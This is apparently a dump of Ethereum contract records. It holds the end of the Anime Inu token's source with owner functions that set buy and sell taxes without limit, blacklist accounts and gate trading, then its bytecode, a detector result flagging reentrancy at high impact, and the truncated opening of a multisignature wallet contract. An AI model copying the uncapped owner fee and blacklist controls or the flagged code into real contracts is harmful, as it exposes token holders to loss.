tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612a7c565b6106e0565b005b34801561020657600080fd5b5061020f61080a565b60405161021c9190612b4d565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ba5565b610847565b6040516102599190612c00565b60405180910390f35b34801561026e57600080fd5b50610277610865565b6040516102849190612c7a565b60405180910390f35b34801561029957600080fd5b506102a261088b565b6040516102af9190612ca4565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612cbf565b61089d565b6040516102ec9190612c00565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612d3e565b610976565b005b34801561032a57600080fd5b50610333610af9565b6040516103409190612ca4565b60405180910390f35b34801561035557600080fd5b5061035e610aff565b60405161036b9190612d9a565b60405180910390f35b34801561038057600080fd5b50610389610b08565b6040516103969190612dc4565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612ddf565b610b2e565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612e0c565b610c1e565b005b3480156103fd57600080fd5b50610406610cd0565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612ddf565b610d42565b60405161043c9190612ca4565b60405180910390f35b34801561045157600080fd5b5061045a610d93565b005b34801561046857600080fd5b50610483600480360381019061047e9190612e39565b610ee6565b005b34801561049157600080fd5b5061049a610f85565b6040516104a79190612ca4565b60405180910390f35b3480156104bc57600080fd5b506104c5610f8b565b6040516104d29190612dc4565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612e0c565b610fb4565b005b34801561051057600080fd5b50610519611066565b6040516105269190612ca4565b60405180910390f35b34801561053b57600080fd5b5061054461106c565b6040516105519190612b4d565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612e39565b6110a9565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e66565b611148565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612ba5565b6111ff565b6040516105e09190612c00565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612ddf565b61121d565b60405161061d9190612c00565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612ddf565b61123d565b60405161065a9190612c00565b60405180910390f35b34801561066f57600080fd5b5061067861125d565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612ecd565b6112d7565b6040516106ae9190612ca4565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612e39565b61135e565b005b6106e86113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90612f59565b60405180910390fd5b60005b81518110156108065760016010600084848151811061079a57610799612f79565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107fe90612fd7565b915050610778565b5050565b60606040518060400160405280600981526020017f416e696d6520496e750000000000000000000000000000000000000000000000815250905090565b600061085b6108546113fd565b8484611405565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108aa8484846115d0565b61096b846108b66113fd565b610966856040518060600160405280602881526020016139f260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061091c6113fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc09092919063ffffffff16565b611405565b600190509392505050565b61097e6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612f59565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a959061306c565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b366113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bba90612f59565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c266113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90612f59565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d116113fd565b73ffffffffffffffffffffffffffffffffffffffff1614610d3157600080fd5b6000479050610d3f81611e24565b50565b6000610d8c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e90565b9050919050565b610d9b6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90612f59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eee6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290612f59565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fbc6113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104090612f59565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f414e494e55000000000000000000000000000000000000000000000000000000815250905090565b6110b16113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590612f59565b60405180910390fd5b8060188190555050565b6111506113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612f59565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061121361120c6113fd565b84846115d0565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661129e6113fd565b73ffffffffffffffffffffffffffffffffffffffff16146112be57600080fd5b60006112c930610d42565b90506112d481611efe565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113666113fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea90612f59565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906130fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613190565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c39190612ca4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163790613222565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a7906132b4565b60405180910390fd5b600081116116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea90613346565b60405180910390fd5b6116fb610f8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117695750611739610f8b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611abf57601560149054906101000a900460ff1661180f57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661180e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611805906133d8565b60405180910390fd5b5b601654811115611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b90613444565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f85750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e906134d6565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146119e4576017548161199984610d42565b6119a391906134f6565b106119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da906135be565b60405180910390fd5b5b60006119ef30610d42565b9050600060185482101590506016548210611a0a5760165491505b808015611a22575060158054906101000a900460ff16155b8015611a7c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611a945750601560169054906101000a900460ff165b15611abc57611aa282611efe565b60004790506000811115611aba57611ab947611e24565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b665750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c195750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c275760009050611dae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cd25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cea57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d955750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dad57600a54600c81905550600b54600d819055505b5b611dba84848484612184565b50505050565b6000838311158290611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff9190612b4d565b60405180910390fd5b5060008385611e1791906135de565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e8c573d6000803e3d6000fd5b5050565b6000600654821115611ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ece90613684565b60405180910390fd5b6000611ee16121b1565b9050611ef681846121dc90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3557611f346128db565b5b604051908082528060200260200182016040528015611f635781602001602082028036833780820191505090505b5090503081600081518110611f7b57611f7a612f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561201d57600080fd5b505afa158015612031573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061205591906136b9565b8160018151811061206957612068612f79565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611405565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121349594939291906137df565b600060405180830381600087803b15801561214e57600080fd5b505af1158015612162573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061219257612191612226565b5b61219d848484612269565b806121ab576121aa612434565b5b50505050565b60008060006121be612448565b915091506121d581836121dc90919063ffffffff16565b9250505090565b600061221e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ad565b905092915050565b6000600c5414801561223a57506000600d54145b1561224457612267565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061227b87612510565b9550955095509550955095506122d986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ba81612620565b6123c484836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124219190612ca4565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069152d02c7e14af6800000905061248069152d02c7e14af68000006006546121dc90919063ffffffff16565b8210156124a05760065469152d02c7e14af68000009350935050506124a9565b81819350935050505b9091565b600080831182906124f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124eb9190612b4d565b60405180910390fd5b50600083856125039190613868565b9050809150509392505050565b600080600080600080600080600061252d8a600c54600d54612717565b925092509250600061253d6121b1565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dc0565b905092915050565b60008082846125d191906134f6565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d906138e5565b60405180910390fd5b8091505092915050565b600061262a6121b1565b90506000612641828461283690919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61283690919063ffffffff16565b6121dc90919063ffffffff16565b9050600061276d606461275f888b61283690919063ffffffff16565b6121dc90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961283690919063ffffffff16565b905060006127dd868961283690919063ffffffff16565b905060006127f4878961283690919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561284957600090506128ab565b600082846128579190613905565b90508284826128669190613868565b146128a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289d906139d1565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612913826128ca565b810181811067ffffffffffffffff82111715612932576129316128db565b5b80604052505050565b60006129456128b1565b9050612951828261290a565b919050565b600067ffffffffffffffff821115612971576129706128db565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129b282612987565b9050919050565b6129c2816129a7565b81146129cd57600080fd5b50565b6000813590506129df816129b9565b92915050565b60006129f86129f384612956565b61293b565b90508083825260208201905060208402830185811115612a1b57612a1a612982565b5b835b81811015612a445780612a3088826129d0565b845260208401935050602081019050612a1d565b5050509392505050565b600082601f830112612a6357612a626128c5565b5b8135612a738482602086016129e5565b91505092915050565b600060208284031215612a9257612a916128bb565b5b600082013567ffffffffffffffff811115612ab057612aaf6128c0565b5b612abc84828501612a4e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612aff578082015181840152602081019050612ae4565b83811115612b0e576000848401525b50505050565b6000612b1f82612ac5565b612b298185612ad0565b9350612b39818560208601612ae1565b612b42816128ca565b840191505092915050565b60006020820190508181036000830152612b678184612b14565b905092915050565b6000819050919050565b612b8281612b6f565b8114612b8d57600080fd5b50565b600081359050612b9f81612b79565b92915050565b60008060408385031215612bbc57612bbb6128bb565b5b6000612bca858286016129d0565b9250506020612bdb85828601612b90565b9150509250929050565b60008115159050919050565b612bfa81612be5565b82525050565b6000602082019050612c156000830184612bf1565b92915050565b6000819050919050565b6000612c40612c3b612c3684612987565b612c1b565b612987565b9050919050565b6000612c5282612c25565b9050919050565b6000612c6482612c47565b9050919050565b612c7481612c59565b82525050565b6000602082019050612c8f6000830184612c6b565b92915050565b612c9e81612b6f565b82525050565b6000602082019050612cb96000830184612c95565b92915050565b600080600060608486031215612cd857612cd76128bb565b5b6000612ce6868287016129d0565b9350506020612cf7868287016129d0565b9250506040612d0886828701612b90565b9150509250925092565b612d1b81612be5565b8114612d2657600080fd5b50565b600081359050612d3881612d12565b92915050565b60008060408385031215612d5557612d546128bb565b5b6000612d63858286016129d0565b9250506020612d7485828601612d29565b9150509250929050565b600060ff82169050919050565b612d9481612d7e565b82525050565b6000602082019050612daf6000830184612d8b565b92915050565b612dbe816129a7565b82525050565b6000602082019050612dd96000830184612db5565b92915050565b600060208284031215612df557612df46128bb565b5b6000612e03848285016129d0565b91505092915050565b600060208284031215612e2257612e216128bb565b5b6000612e3084828501612d29565b91505092915050565b600060208284031215612e4f57612e4e6128bb565b5b6000612e5d84828501612b90565b91505092915050565b60008060008060808587031215612e8057612e7f6128bb565b5b6000612e8e87828801612b90565b9450506020612e9f87828801612b90565b9350506040612eb087828801612b90565b9250506060612ec187828801612b90565b91505092959194509250565b60008060408385031215612ee457612ee36128bb565b5b6000612ef2858286016129d0565b9250506020612f03858286016129d0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f43602083612ad0565b9150612f4e82612f0d565b602082019050919050565b60006020820190508181036000830152612f7281612f36565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fe282612b6f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561301557613014612fa8565b5b600182019050919050565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b6000613056601783612ad0565b915061306182613020565b602082019050919050565b6000602082019050818103600083015261308581613049565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130e8602483612ad0565b91506130f38261308c565b604082019050919050565b60006020820190508181036000830152613117816130db565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061317a602283612ad0565b91506131858261311e565b604082019050919050565b600060208201905081810360008301526131a98161316d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061320c602583612ad0565b9150613217826131b0565b604082019050919050565b6000602082019050818103600083015261323b816131ff565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061329e602383612ad0565b91506132a982613242565b604082019050919050565b600060208201905081810360008301526132cd81613291565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613330602983612ad0565b915061333b826132d4565b604082019050919050565b6000602082019050818103600083015261335f81613323565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006133c2603f83612ad0565b91506133cd82613366565b604082019050919050565b600060208201905081810360008301526133f1816133b5565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061342e601c83612ad0565b9150613439826133f8565b602082019050919050565b6000602082019050818103600083015261345d81613421565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006134c0602383612ad0565b91506134cb82613464565b604082019050919050565b600060208201905081810360008301526134ef816134b3565b9050919050565b600061350182612b6f565b915061350c83612b6f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561354157613540612fa8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006135a8602383612ad0565b91506135b38261354c565b604082019050919050565b600060208201905081810360008301526135d78161359b565b9050919050565b60006135e982612b6f565b91506135f483612b6f565b92508282101561360757613606612fa8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061366e602a83612ad0565b915061367982613612565b604082019050919050565b6000602082019050818103600083015261369d81613661565b9050919050565b6000815190506136b3816129b9565b92915050565b6000602082840312156136cf576136ce6128bb565b5b60006136dd848285016136a4565b91505092915050565b6000819050919050565b600061370b613706613701846136e6565b612c1b565b612b6f565b9050919050565b61371b816136f0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613756816129a7565b82525050565b6000613768838361374d565b60208301905092915050565b6000602082019050919050565b600061378c82613721565b613796818561372c565b93506137a18361373d565b8060005b838110156137d25781516137b9888261375c565b97506137c483613774565b9250506001810190506137a5565b5085935050505092915050565b600060a0820190506137f46000830188612c95565b6138016020830187613712565b81810360408301526138138186613781565b90506138226060830185612db5565b61382f6080830184612c95565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061387382612b6f565b915061387e83612b6f565b92508261388e5761388d613839565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138cf601b83612ad0565b91506138da82613899565b602082019050919050565b600060208201905081810360008301526138fe816138c2565b9050919050565b600061391082612b6f565b915061391b83612b6f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561395457613953612fa8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006139bb602183612ad0565b91506139c68261395f565b604082019050919050565b600060208201905081810360008301526139ea816139ae565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c231911e8ea8d7fb5c2535894928feedeb6042eacd2bd21bdf4fe323805550e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,726
0x688f1e33cf097c878a5713caa9e07acc72d2343c
pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<span class="__cf_email__" data-cfemail="5e2d2a3b383f3070393b312c393b1e3d31302d3b302d272d70303b2a">[email&#160;protected]</span>> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; address[3] public defaultOwners; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required 